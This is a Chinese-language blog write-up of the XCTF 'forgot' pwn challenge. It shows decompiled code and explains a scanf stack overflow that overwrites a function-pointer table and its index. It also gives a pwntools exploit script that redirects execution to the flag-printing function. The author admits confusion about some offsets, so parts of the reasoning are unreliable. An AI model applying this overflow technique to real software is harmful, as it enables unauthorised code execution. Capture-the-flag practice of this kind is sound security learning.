攻防世界 pwn forgot

下面记录一下我在做攻防世界的pwn练习题中的forgot题目的过程,这个题目现在还是有些疑惑的

 

首先我们看一下题目的安全机制:

然后IDA看一下主函数:

int __cdecl main()
{
  size_t v0; // ebx
  char v2[32]; // [esp+10h] [ebp-74h]
  int (*v3)(); // [esp+30h] [ebp-54h]
  int (*v4)(); // [esp+34h] [ebp-50h]
  int (*v5)(); // [esp+38h] [ebp-4Ch]
  int (*v6)(); // [esp+3Ch] [ebp-48h]
  int (*v7)(); // [esp+40h] [ebp-44h]
  int (*v8)(); // [esp+44h] [ebp-40h]
  int (*v9)(); // [esp+48h] [ebp-3Ch]
  int (*v10)(); // [esp+4Ch] [ebp-38h]
  int (*v11)(); // [esp+50h] [ebp-34h]
  int (*v12)(); // [esp+54h] [ebp-30h]
  char s; // [esp+58h] [ebp-2Ch]
  int v14; // [esp+78h] [ebp-Ch]
  size_t i; // [esp+7Ch] [ebp-8h]

  v14 = 1;
  v3 = sub_8048604;
  v4 = sub_8048618;
  v5 = sub_804862C;
  v6 = sub_8048640;
  v7 = sub_8048654;
  v8 = sub_8048668;
  v9 = sub_804867C;
  v10 = sub_8048690;
  v11 = sub_80486A4;
  v12 = sub_80486B8;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(&s, 0x20, stdin);                       // 此处没有溢出
  sub_80485DD((int)&s);                         // 输出必要信息
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf("%s", v2);                     // 此处会存在溢出 32bytes
  for ( i = 0; ; ++i )
  {
    v0 = i;
    if ( v0 >= strlen(v2) )
      break;
    switch ( v14 )
    {
      case 1:
        if ( sub_8048702(v2[i]) )
          v14 = 2;
        break;
      case 2:
        if ( v2[i] == '@' )
          v14 = 3;
        break;
      case 3:
        if ( sub_804874C(v2[i]) )
          v14 = 4;
        break;
      case 4:
        if ( v2[i] == '.' )
          v14 = 5;
        break;
      case 5:
        if ( sub_8048784(v2[i]) )
          v14 = 6;
        break;
      case 6:
        if ( sub_8048784(v2[i]) )
          v14 = 7;
        break;
      case 7:
        if ( sub_8048784(v2[i]) )
          v14 = 8;
        break;
      case 8:
        if ( sub_8048784(v2[i]) )
          v14 = 9;
        break;
      case 9:
        v14 = 10;
        break;
      default:
        continue;
    }
  }
  (*(&v3 + --v14))();                           // 此处调用cat_flag
  return fflush(stdout);
}

同时我们看一下程序的字符串,发现了我们需要的函数:

再回顾主函数,我们发现发现有两个scanf,并显然第二个scanf存在溢出漏洞,并且程序在栈中存放了一系列的函数的地址,而且在程序的最后根据v14的值选择其中一个函数并执行。

我们可以考虑在溢出的时候更改栈中的函数地址,并控制v14的值,使得程序能够跳转执行cat flag

根据程序的switch流程,我们可以很容易使得for循环结束的时候,v14的值为10,v3偏移为0x54, 调用的函数地址的偏移为0x54-0x9=0x4b, 则v2到函数地址的偏移为0x74-0x54+0x9 * 4=0x44, 即在0x44偏移位置填充cat_flag函数地址,然后填充0x2c-0xc=0x20的字符来填充s缓冲区,然后覆盖v14的值。

根据栈帧的结构,我们可以构造如下payload,exp如下:

# 2020/6/17

from pwn import *

print(cyclic(0x74-0x2c))
print(cyclic_find('jaaa'))

context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']

p = process("/home/tucker/ctf_pwn/forgot")

pwnlib.gdb.attach(p)

p.recv()
p.sendline("tucker")
p.recv()

catflag_addr = 0x80486CC
# payload = 'a' * 36 + p32(catflag_addr) + "@gamil.com"

# cover v14 with 0x8  why is 0x8, not 0x9 or 0xa??
payload = 'a' * 0x44 + p32(catflag_addr) + 'a' * 0x20 + p32(0x8)

p.sendline(payload)

p.interactive()

(此处有个疑惑,此处v14的值为何只能覆盖为0x8,而不能使0x9,或者0xa)

 

另外在此实验中,我初步了解了使用pwntools附加gdb进程进行调试。这样可以使用我们构造的payload。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章